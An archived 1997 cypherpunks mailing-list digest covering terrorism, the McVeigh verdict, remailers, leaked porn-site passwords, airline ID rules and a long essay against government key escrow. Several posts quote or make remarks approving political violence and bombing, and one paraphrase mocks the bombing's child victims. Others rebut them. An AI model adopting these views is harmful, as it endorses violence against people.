> If it is a fully privately funded highway, I agree. If it accepts public
> money I obviously disagree with you. As to the packets watching, no more so
> than the cars being used are watching the picketers. This is a straw man
> argument. The issue here is not the packets but the paticipants.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 15:35:02 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03007836afbc0a8dda6a@[207.94.249.152]>
Message-ID: <v0300783aafbc16c7bbcf@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:34 PM -0700 6/4/97, Tim May wrote:
>At 11:26 PM -0700 6/4/97, Bill Frantz wrote:
>
>>as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
>>is likely to get tired and go home.  The only long-term solution is to
>>learn to live together.
>  ^^^^^^^^^^^^^^^^^^^^
>
>On this subject, my list colleague Bill and I are from different planets.
>The chasm that separates us is a Grand Canyon.
>
>When I hear people talk about "why can't we just get along together?" and
>its variants, I reach for my .45.
>
>"Learning to live together" is absurd when the other side has stolen your
>land.

I'm glad the Indians aren't acting on that precept.  (But in the past they
did act and got their asses whooped real good.  That's why we can say, "We
stole it fair and square.")

More generally, if you haven't set foot on the land, and your father never
set foot on the land, and so on, then trade and perhaps even friendship
with whoever currently is on the land may be a better deal than poverty,
blood, and death.  YMMV, however you should not let religion/ideology/hate
blind you to your long term rational self interest.

I do agree with Tim that some things are worth fighting and even dieing
for, but they should always be examined in terms of long term rational self
interest.  (If you're going to die anyway, then take enough of them with
you to make a proper escort into paradise.  If the nazi-commies are
enslaving your country, then by all means take up arms in its defense.
Etc.)

IMHO, in northern Ireland and Palestine/Israel all the continued fighting
promises is poverty, blood, and death.  Accepting that possession is 100%
of the law would let everyone live a better life (except the politicos who
feed on hate).


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 5 Jun 1997 15:41:19 +0800
To: cypherpunks@cyberpass.net
Subject: Virtual picketing
Message-ID: <3.0.2.32.19970605003513.00709a10@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




I think that analogies are useful to illustrate a point, but a poor basis
for making new laws or new policies. I think it makes more sense to look at
the reasoning behind the first policy, and/or the combination of conditions
and policies that created it, and see if they're present (or not) in the
situation which seems to require a new policy. 

In the particular case of the Internet, I don't think it's at all clear
that a public highway is the best (or only) analogy which is appropriate -
for example, one could also draw an analogy to a *freeway* .. which, at
least in many places, are not open to picketers or pedestrians of any sort. 

Another easy analogy is to the postal service - it's more or less
government-run (haven't kept track of the precise line that's drawn), but
there's certainly no right to "picket" communications sent using this
government-owned media .. I don't get to add extra pages to letters that my
neighbors get, nor they to mine. And there's no First Amendment problem
there - if I want to communicate with someone about an issue, I can send
them mail. Third parties have no right to interfere, nor to learn our names
so that they can bombard us with mail. 

And the same is true for communications sent by private carriers like FedEx
and UPS, even where those private carriers use public facilities like roads
and sidewalks and airports to carry on their private businesses, delivering
private communications. Incidental use of a public facility does not
nationalize a private person/organization. (I think the argument is
stronger where a private party monopolizes a public resource - but I
suspect that my gut reaction to that isn't compatible with what courts are
doing these days.) 

This discussion is getting waylaid with a host of weakly-related and
poorly-understood legal doctrines - e.g., a "right to picket", "public
forums", and "right to privacy". Instead of getting bogged down in those
tarpits (or distracted by their attractive pseudo-official flavor), let's
focus on the real question(s) at hand. I understand to proposal to be that
it'd be somehow beneficial if the government interferes with communications
between consenting parties if the communication happens to touch or utilize
a publically owned/funded resource ... or that such interference is allowed
or required by the First Amendment. I think that presents a much clearer
and more fundamental First Amendment question - e.g., can the government
force me to say things I don't want to say? Can the government intercept
speech from me to another person and preface or wrap it with some sort of
counterargument provided by people who disagree with me? I think the answer
is (and should be) a slam-dunk "no". No tricky analogies needed. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 15:58:35 +0800
To: cypherpunks@toad.com
Subject: NetAction -- another big government "cyberliberty" group
Message-ID: <Pine.GSO.3.95.970605004410.12266B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



*sigh* --Declan


---------- Forwarded message ----------
Date: Wed, 4 Jun 1997 23:34:45 -0700 (PDT)
From: Audrie Krause <akrause@igc.apc.org>
To: declan@well.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Micro$oft Monitor: Sidewalk Spam

Sorry, Declan, I don't share your rather naive belief that industry is going
to regulate itself.  

At 01:37 AM 6/1/97 -0400, Declan McCullagh wrote:
>Glad to see Net Action is pointing out potential privacy violations or
>potential for spam (though there seems to be no evidence saying Microsoft
>in fact has sent such spam).
>
>But what I find interesting is that NetAction is using the Net, the
>press, the media to broadcast Microsoft's bad privacy policies. Then
>people can choose to visit or not, or to read the notice more carefully.
>
>Thus I see no need for FTC rulemaking. I hope that is what NetAction will
>be saying to the FTC. Etrust is another solution NetAction should support.
>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 5 Jun 1997 16:17:44 +0800
To: "cypherpunks@toad.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <19970605010358.20968@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jun 05, 1997 at 12:14:20AM -0400, frissell@panix.com wrote:
>>Yes, some pathetic strange little boys swaggering around in never-never 
>>land.  Lonely individuals with shriveled hearts, stunted morals, and 
>>feverish imaginations, who brag contemptuously of their superiority
>>over "sheeple", and boast of their heroic roles in the coming 
>>revolution.
>
>I hope you're not referring to Lucky, or Time May, or me.  Lucky has a 
>successful career in a computer-related field.  Tim was exceedingly well-
>integrated into the work force at Intel and did a great deal of valuable and 
>lucrative work for them.  I am married with four children (who I never sent to 
>a government school) and get along well with a host of friends and co-workers. 
> I have achieved a modicum of success as a writer and speaker.  I happen to be 
>a neo-victorian myself.

Clinton has a *very* successful career as a politician, and has done 
a great deal for Intel, in that role.  And he is a great family man 
who also gets along well with a host of people.

I was characterizing the people Lucky described:  

  Some on this list will even say that the kids' deaths fortunately
  reduced the negative impact their parents can have on the gene pool. 

If you, Lucky, or Tim hold such sentiments in your heart, then I am
referring to you.  Lucky's statement that people putting their 
children in daycare in a federal building are "criminally stupid" is 
simply contemptible.

>Why is it that when someone like Al Gore expresses strong and extremist views 
>as he did in "Earth in the Lurch" (or whatever that book was called) no one 
>ever claims that he is " a pathetic strange little boy swaggering around in 
>never-never land.  A lonely individual with a shriveled heart, stunted morals, 
>and a feverish imagination."

Of course, Gore has been called far worse things, many times over. 
Probably on this very list.  You know that, I know that.

>
>How do you know our hearts are shriveled?  Can it be because we can do the 
>math and figure out the Feds are *much* bigger killers than McVeigh?

No Duncan.  It's because your first thought is to do that math.  It is
one thing to be aware of the many, many failings of human beings and
their governments.  It is another thing to savor rightous anger,
keeping score, and thinking of suitable revenge.  Besides, who the
heck are "the Feds"? What set of human beings are you thinking about?

>Why 
>don't you bleed for *their* victims.

I do.  Though I wouldn't use that metaphor.

>Remember, government's crimes are worse 
>than private crimes (even apart from the higher body count) because a serious 
>breach of duty and trust is involved. 

Keeping score again, eh?  Government -5 billion, Duncan 10.

>Look, people are bound to disagree over social policy and even right and 
>wrong.  But since everyone is much more powerful than they used to be,
>a force-
>based monopoly on policy and morality ("others" government) just can't be 
>sustained anymore.

Why on earth would you think that?

>Your side just simply doesn't have the artillery. 

"My" side? You probably mean the "government".  If so, you are
deluded.  If not, you are right -- I personally have only a small
armory -- a few automatic weapons, two tactical nukes, some
conventional explosives, and a big pocket knife -- just your average
homeowner arsenal. 

>It 
>would be better for everyone if you would recognize reality, step back, and 
>allow self-government to replace others-government.

I'm not standing in anyone's way, and it wouldn't make any difference
at all if I did, because I am an insignificant zero who comforts
himself with the thought that being a clown is an honorable
profession.  That's reality.  You should take a hit, sometime -- it's
heavy stuff.  But you know who really needs a heavy dose -- it's that 
Bob Hettinga fellow -- his head is shaped strangely like a big brick, 
and he gets it wedged in the strangest places.

> It will happen anyway.

Yep.  And the second coming is just around the corner,  now that 
the comet has arrived with the mother ship.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 5 Jun 1997 17:34:58 +0800
To: cypherpunks@toad.com
Subject: Re: Who "invented" remailers?
Message-ID: <Pine.SOL.3.96.970605021259.16901A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Alan (alano@teleport.com) wrote:

>Currently, use of the Mixmaster remailer system is out of reach of most
>of the average users out there. The only serious project to address that
>need has been Private Idaho and development has stopped on that project. 

Privtool (my PGP-aware mail program for Unix) has supported Mixmaster
remailing for years (just click a box and off it goes) and would also
support nym.alias.net if it hadn't gone down just as I started building in
the capability (it currently supports decryption but not posting). Anyone
who wants to use my remailing code is free to rip it off under the GPL.

Currently there are at least two people developing Private Idaho and
possibly more. However, even command-line Mixmaster remailing is much
simpler than using the Type-I remailers. 

>Currently the nymserver network is in pretty bad shape as well. They are
>difficult to use and are dependant on the whims of the remailer network.

I've been playing with Premail and found it pretty easy to use. As I said
above, reliability is the main problem; particularly when you lose the
entire domain now and again.

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 5 Jun 1997 10:09:27 +0800
To: cypherpunks@toad.com
Subject: Re: Password pirates plunder XXX sites, from The Netly News
Message-ID: <199706050200.EAA15007@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



        A huge number of passwords to pay-only porn sites are loose on
   the Net. Just surf newsgroups like alt.sex.passwords or do a simple
   search through a typical web engine and long lists of logins are easy
   to find.

There is an easy solution to this problem.  Just use one-time passwords.
Put it in a cookie.  Every time the customer accesses the service you give
him a new one.  He doesn't have to do anything.  If he gives his password
away it won't work for him any more.

John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 5 Jun 1997 16:43:41 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <v0310280bafba6a8c2fcf@[207.167.93.63]>
Message-ID: <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:44 PM 6/4/97 -0700, Steve Schear wrote:
>>(The airlines claim the FAA is requiring traveller identity. Maybe yes,
>>maybe no.
>
>Traveler ID is not 'required', however if you don't possess a government
>issued ID and/or have paid for your ticket via cash within 48 hours of
>departure expect some delays in your travel and a through search of your
>baggage.

In the Atlanta airport, positive gov't issued picture ID is required to be 
able to board an airplane for Delta, the main carrier, and about the only 
airline I fly.  I have medallion level friends who have been refused the 
ability to board because they did not have picture ID on them.  Stories 
include no travel with temporary, non-picture driver's licenses, having to go 
home to get the license, having a license fedex'ed to the destination city in 
order to board to get home, and reticketing on another airline that will 
accept a company ID.

Cash has nothing to do with it.  Business travel from repeat customers paid by 
American Express and ticketed through corporate travel agencies (American 
Express Travel) still have the ID requirement.  As far as I know, all Atlanta 
airline departures require picture ID, though at least one airline will 
consider a company ID if pressed.

I believe this is a bad policy, and think it should be opposed.  Perhaps a law 
should be considered to change this.  But obviously many people here would 
tell me I could just take another mode of transportation, such as riding the 
bus.  Airlines are private corporations owned by their owners, not by their 
riders.  The airlines apparently have a right (as Delta is doing) of demanding 
any prerequisite they wish for travel.  In the case of Delta, the prerequisite 
is "May I see your papers, please?"

I believe in anonymous travel, just as I believe in anonymous speech, and 
anonymous transactions.  I recently subscribed to this list to help mature my 
views on issues such as collection and verification of electronic database 
information by private and gov't entities.

I'm curious where the people here stand on such a policy.  Do you feel that 
positive ID to fly on a plane should be permissable?  How about a law to put a 
stop to it?


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Charset: noconv

iQBVAwUBM5Z4EEGpGhRXg5NZAQFqngH/cFolkgUv2Bx7hGchz1qYTi5wQ4IAASsH
uCQRMEEqxra0ZtqFASBXGJokTwqzb2ueJbxnenPS1BWd6foCqkbOIg==
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Pierson" <wfgodot@iquest.com>
Date: Thu, 5 Jun 1997 20:16:21 +0800
To: cypherpunks@toad.com
Subject: Maneuvering the Instruments of Control Through Deception
Message-ID: <199706051125.GAA07090@vespucci.iquest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Watching the rapid fire succession of Administration rulings 
and gambits, and the developments of various contending legislative
proposals and industry initiatives, along with all the debate over the
differing implications and portents of this distracting plethora of
moves and countermoves, has made for quite an intriguing spectacle. 
In particular, the recent controversies over threatening elements in
the SAFE bill and the motives of the legislators involved, as well as
the contentions concerning Netscape's aims or quality of judgment in
its latest key recovery announcements reminded me of some lines from
R.G.H. Siu's _The Craft of Power_:

  ...There is an increasing need as time goes on for a voluntary
  surrender of freedom on the part of the people at large or at least
  for a relative passivity toward encroachments on it.  An essential
  instrument for bringing this predisposition into being is
  propaganda.  The purpose of your propaganda, then, should not be
  sympathetic education but subtle manipulation. [...] Orthodoxy
  should not comprise your primary objective in propaganda, but what
  Jaques Ellul has called orthopraxy.  This is "an action that in
  itself, and not because of the value judgments of the person who is
  acting, leads directly to a goal, which for the individual is not a
  conscious and intentional objective to be attained, but which is
  considered such by the propagandist."  Knowing the real action to be
  taken in furtherance of the objective behind the informational
  barrage, the propagandist "maneuvers the instrument that will secure
  this action."

I thought Lucky Green keenly observed what might be considered 
an example of this process in action when a while back on the 
Cryptography list he wrote:

> This simply attests to the thoroughness with which the GAK forces
> have managed to frame the debate. There is zero need for key recover
> if the goal is to locally obtain plaintext. However, the vast
> majority of large businesses out there have been convinced that they
> need key recovery to achieve this goal.

> Therefore they are now demanding to be given a specific method for
> achieving this goal, the method most beneficial to outside forces.

> A truly brilliant deception.

It is certainly a sly move, but like other sleights of hand, it 
benefits when a certain naivete is present in its targets.  For 
businesses, there is an additional economic calculus involved that can
sometimes make the deceptions harder to discern, or easier to swallow,
or both to varying degrees.   But for the adamant opponents of GAK,
these subterfuges should not seem so obscure.  It's clear by now that
the core pro-GAK forces have a good appreciation of Sun Tzu's dictum
that "All warfare is based on deception."

There are some other passages from Sun Tzu that seem somewhat 
topical to recent events.

  In all fighting, the direct method may be used for joining battle, 
  but indirect methods will be needed in  order to secure victory.

  Indirect tactics, efficiently applied, are inexhaustible as Heaven
  and Earth, unending as the flow of rivers and streams; like the sun
  and the moon, they end but to begin anew; like the four season's,
  they pass away to return once more.

  ...Thus one who is skillful at keeping the enemy on the move 
  maintains deceitful appearances, according to which the enemy will
  act.  He sacrifices something, that the enemy may snatch at it.

  By holding out baits, he keeps him on the march; then with a body of
  picked men he lies in wait for him.

Of course, the nature of the battlefield and the makeup of the forces
contending are more complicated, subtle, and considerably more
abstracted than the matters that Sun Tzu was concerned with. 
Nevertheless, certain themes remain timeless in warfare both military
and psycho-political.  Documents that EPIC and others have managed to
acquire through FOIA requests show that duplicity has been part of the
game plan on this issue since prior to the Klinton Administration. 
The hardcore surveillance state forces have long subscribed to the
principle that "In war, practice dissimulation, and you will succeed."
 My impression is that they have adhered pretty consistently to that
principle so far.

It seems that some of the internecine controversy of late amongst the
various factions in general opposition to GAK and other forms of
privacy escrow and intrusion, to varying degrees, comes from
disagreements regarding the relative merit or malignancy of differing
political approaches and the motivations of the political actors
involved.  In part, this can depend upon where on the
Anarchist-Minarchist-Benevolent_social_welfare_state spectrum they
come from, and the intensity of their mistrust, or outright hostility,
toward the process and role of government, but numerous other factors
are involved.  Many of these disagreements are valid and will continue
(hopefully, though, not to the point of serving the purposes of the
main adversary).  One could argue that some who might really believe
they are trying to preserve privacy will end up undermining it
instead.  The road to hell can indeed be paved with good intensions,
as well as bad, naive, opportunistic, calculating, or craven...  But
in a broader strategic sense, those paving the road to hell, or what
they are paving it with, can be less important than understanding the
mentality of those who sway its course there, and the means they use
to achieve their ends.  Chief among these means is their use of
deceit.  

Deception and sophistry are time honored tactics of those who want to
build a more intrusive authoritarian state.  The people who have
promoted the kind of "2 + 2 = 5" reasoning that's been used to
rationalize things like "good faith" exceptions to the Fourth
Amendment, or the contemptible mockery of due process represented by
government's abuse of civil forfeiture, are of essentially the same
ilk as those who now expect citizens to accept assurances about
"lawful authorization" and due process when it comes to their
promotion of CALEA and GAK.

The fearmongering exaggerations and misrepresentations that are 
spread by GAK proponents are part of a larger pattern as well.  David
Burnam's excellent 1996 book on the Justice Department _Above The Law_
does a good job of documenting some of this with respect to the
flagrantly misleading representations of national crime statistics by
the FBI and others early in the Clinton administration and before, and
provides some useful perspective on their more recent claims
concerning the need for new electronic surveillance infrastructures
and encryption controls. 

It isn't simply the talent for facile deceit that characterizes 
the effective surveillance state advocate, but also the ability to
maintain a pious pretense (and rarely perhaps even the self-delusion)
of support for privacy and civil liberties while pushing the policies
that undermine these very things.  Senator Kerry's remarks on his
Orwellianly titled "The Secure Public Networks Act" come to mind.

A particularly telling and ironic example of this appears in a 
transcript from the FBI website of a speech given by Director Freeh in
Krakow Poland during June 1994:

  "The Nazi terror began not by breaking the law but by using 
   the law. The morning after the Reichstag fire in February, 
   1933, President Von Hindenburg was persuaded by Hitler to 
   invoke Article 48 of the Weimar Constitution. This emergency 
   provision of the national law was the key to its 
   elimination. It enabled Hitler to suspend individual and 
   civil liberties, freedom of speech, press and assembly; it 
   allowed warrantless searches of homes and the seizure of 
   property without due process of law.

  [...] SS and SA members then started a wave of political violence
  which culminated in a March, 1933, Enabling Act granting dictatorial
   powers to Hitler.

  Hitler's brutal usurpation and exercise of power was in part 
  carried out by clever use of the police and  the corruptly 
  controlled enactment of new laws."

One wonders how Mr. Freeh went about reconciling this knowledge of
history with his role as point man for the Clinton Administration's
attempts to stampede legislation for  new "anti-terrorism" powers
following Oklahoma and last summers TWA explosion/Olympic bombing
episodes.

As Freeh's remarks reveal, the role terrorism has played in 
promoting the agendas of authoritarian statists has been quite 
notable.  Terrorism's major consequences in history appear 
largely to have been to serve the expansion of the domestic powers of
the states targeted, not the furtherance of the agendas of the
terrorists responsible (or allegedly responsible).  In fact, some
states have found terrorism so valuable in this regard that when
terrorists did not exist, it was necessary to invent them (or
facilitate them, or exaggerate their threat).  

The state's concerted cultivation and fanning of fear and hysteria in
relation to acts of terrorism (with the aid of the major mass media)
is a increasingly refined art form.  It's role has become so
significant that it deserves a name.  I call it State Sponsored
Hysterrorism.  While acts or threats of terrorism are the the most
valuable adjunct to the exploitation of hysterrorism; fear mongering
concerning other major bogeymen, most notably the specter of drugs,
pornography and pedophilia, can occasionally be used to achieve the
requisite level of alarmed herd psychology, and the extra
marginalization of reasoned deliberation necessary to serve the ends
of the hysterrorists.

I think the U.S. Government's campaign of hysterrorism following the
TWA explosion/Olympic-Park bombing is a case study for what we can
expect in the future.  The political exploitation of this event was a
contingency plan in waiting for the right bomb to go off somewhere. 
Next time, they will be even more prepared.

There might be a few in the anti-GAK camp who are still inclined to
entertain the notion that the Clinton administration's actions with
regard to GAK and CALEA have been largely due to them being misguided,
or benighted, or gullibly enthralled with apocalyptic scenarios drawn
by secret intelligence reports, and crime threats painted by
latter-day Hoovers.  Perhaps they believe that if the Clintonites
could only be made to understand the futility of attaining their
"professed" objectives, they would be reasonable. But the fact (from
my vantage) is that following the Oklahoma bombing, and even more
egregiously, following the the TWA/Olympic events last summer, this
administration dishonestly promoted and endeavored to exploit public
fear and the political intimidation that could be derived from that
fear in a cynical attempt to stampede the ill-considered passage of
legislation granting sweeping new surveillance powers to the
government.  These attempts to subvert and hot-wire the legislative
process in this regard, as well as the disingenuous shell games they
have played with their succession of Clipper and key escrow/recovery
proposals and initiatives, have cast serious doubt in my mind on the
quality of their principles, misguided or otherwise.  

I view the government's exploitation of occurances of terrorism and
hysterrorism to be the most potent potential threat to privacy and
civil liberties we face.  The stage is now being set by an increasing
drumbeat of warnings, news specials, and so forth about the threat of
more exotic forms of Nuclear, Chemical or Biological attack.  I recall
a melodramatic news piece a while back where a reporter sensationally
demonstrated how easy it was to get a shoebox-sized container filled
with test-tubes on a subway train, and a host of "experts" were
interviewed about the potential pandora's box of nasty possibilities
awaiting us in the years to come.  A few weeks ago, a forum on
terrorism in Atlanta, organized by Former Senator Nunn and attended by
Defense Secretary Cohen and others, brought lurid speculation on
things like the future development of custom engineered viral
pathogens, and warnings about "the Internet transmitting knowledge to
people all over the globe in how to make weapons of mass destruction."
 

One gets the impression like they can't wait until their menacing
forecasts are validated.  The message is that uncontrolled Information
is Threat, and that we're going to need protection from many new forms
of Data Crime in our Fearful New World.  Sadly, considering the public
at-large's current suseptibility to the politics of fear, it probably
wouldn't take much to sell this message.  Major acts of terrorism
aren't the worry of those who most want the institution of intrusive
state powers, it's their secret wish.

The Friend's of Big Brother are holding some strong cards, but many of
them rely on appeals to fear and ignorance.  Their ability to deceive,
mislead, distract, ensnare, market fictions, manage perceptions, and
structure the terms of debates to their advantage can be quite
formidable at times.  It was fortunate that they miscalculated early
on concerning the political repercussions from the persecution of Phil
Zimmermann and the ham-handed Clipper_I proposal.  While they continue
to make tactical errors which can be exploited, they are refining
their approach as time goes on, and their more successful tactics can
be considerably less obvious than their blunders.  Perhaps having
discovered the drawbacks of frontal assaults, one of their new guiding
principles might be "when using our forces, we must seem inactive;
when we are near, we must make the enemy believe we are far away". 

Insidious machinations (stego-politics?) are more challenging to
counter, but like other forms of legerdemain, knowing what to look for
makes the artifice easier to discern and derail, however deftly done. 
- From the surveillance statist's perspective on the public, it is
indeed true that "Ignorance is Strength".  While the "Knowledge is
Power" forces may be outgunned in certain respects, they do have the
advantage of not being hampered by the need to conceal duplicity.

The ultimate solutions to preserving privacy may turn out to be 
technical, but whether one is an avowed cryptoanarchist, or a 
libertarian (!'L') type with mixed minarchist inclinations 
(sort of like me), or whatever, in the near term, developments in the
political arena are far from irrelevant.  The state's most serious
opponents to privacy well understand the value of swaying public
perceptions and attitudes.  Their best hope is to find a way to shape
public and congressional opinion in a way that will allow them to get
restrictions on unconditionally secure encryption passed into law, the
sooner the better.  The longer they can be delayed and stymied, the
less likely they are to succeed.  In any case, we should be careful
not to play into their hands, or provide them with material to
facilitate their efforts to foster fears.  In the words of Sun Tzu,
"the highest form of generalship is to balk the enemy's plans" -- not
to serve them.

In the struggle to defend our privacy, personal sovereignty, and
liberty in general, there will be disagreements over where the enemy
lies, and how to best take aim against it.  Whatever the
disagreements, I hope we can at least manage to avoid standing in a
circle as we fire.


 -Michael

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 22:22:14 +0800
To: cypherpunks@toad.com
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <Pine.GSO.3.95.970605000244.19883A-100000@cp.pathfinder.com>
Message-ID: <0RoT8D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> I was having dinner with Don Haines, a friend of mine who's a legislative
> counsel with the national ACLU, when the McVeigh verdict came down.
>
> A Canadian prosecutor who was having dinner with us said: "So McVeigh did
> it after all."
>
> Don replied: "No. He was found guilty of the crime."
>
> There is a difference.

Not to a journalist whore. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 22:20:31 +0800
To: cypherpunks@toad.com
Subject: Re: Spam costs and questions
In-Reply-To: <v03007831afbc01089cdb@[207.94.249.152]>
Message-ID: <2VoT8D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

> At 12:45 PM -0700 6/4/97, Declan McCullagh asked:
> >	What are the costs to consumers of
> >	unsolicited e-mail?  I guess the time it
> >	takes to delete it might be one, hard
> >	drive space might be another.  I would
> >	like to know how to quantify it, and
> >	compare it with the cost of sending
> >	e-mail.
>
> I don't think the costs of the 1-3 spam messages I get each day is
> significant.  (But I don't post to Usenet.)

I post moderately heavily to Usenet (10-10 articles / week).

All the UCE I get is much less in volume that, e.g., the traffic from
the Cypherpunks mailing list. In some weeks it's only 1 or 2 pieces.

I may be getting so little UCE because I've asked Wallace to remove
me from his mailing list, so I only get it from "rogue rogues".

It takes me no material time to browse the subject lines and to skip
the UCE. (Sometimes I do read the UCE - some of the products they've
advertised sounded interesting to me). Nor am I paying to receive
anything. (Given that I get mailbombed pretty regularly, I wouldn't
go for anything other than flat rate.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 22:25:54 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <19970605010358.20968@bywater.songbird.com>
Message-ID: <m8oT8D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
...
> Clinton has a *very* successful career as a politician, and has done
> a great deal for Intel, in that role.  And he is a great family man
> who also gets along well with a host of people.
...
LOL.  Almost ROTFL.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 5 Jun 1997 22:22:44 +0800
To: cypherpunks@toad.com
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706050200.EAA15007@basement.replay.com>
Message-ID: <v0302094aafbc5cbcc825@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 pm -0400 on 6/4/97, Anonymous wrote:

> There is an easy solution to this problem.  Just use one-time passwords.
> Put it in a cookie.  Every time the customer accesses the service you give
> him a new one.  He doesn't have to do anything.  If he gives his password
> away it won't work for him any more.

And, of course, the penultimate solution to the *whole* problem is cash
payment for every video feed. :-).

In addition, if the government was out of the copyright/patent
monopoly-granting business (for some reason ;-)), you could even
re-distribute these things with recursive auctions. The person who has
posession of a whole MPEG file copy then has more incentive to just resell
his copy, again for cash, and probably for multiple times, than to give it
away and not get even some of his money back.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 21:55:43 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Government money, Net picketing, and public fora (fwd)
Message-ID: <199706051315.IAA05428@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Thu, 5 Jun 1997 00:27:04 -0400 (EDT)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Government money, Net picketing, and public fora

> Unfortunately, Jim has no idea what he's talking about. Accepting public
> money does not magically turn something into a public forum. 
> 
> I'm not sure how I can get this idea through.


Unfortunately, Declan has no idea what he's talking about. Accepting public
money does increase the criminal and civil obligations of the recipient as
well as providing a lever for 3rd parties to become involved on civil
grounds.

I'm not sure how I can get this idea through.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 23:58:41 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <v0300783bafbc879a4e96@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:50 PM -0700 6/4/97, Paul Bradley wrote:
>> Like my fellow Santa Clara County Resident Bill Frantz said :
>>
>> For cypherpunks this comes down to: Make code, not bombs.
>
>True, code will lead to further liberation in the virtual communities,
>but bombs are an effective device for ending the corrupt tyrannical
>government that rules us.

It is my contention that, in the present circumstances, bombs are not
effective devices for ending the corrupt tyrannical government which rules
us.  They are much more likely to make enemies for "our cause" than they
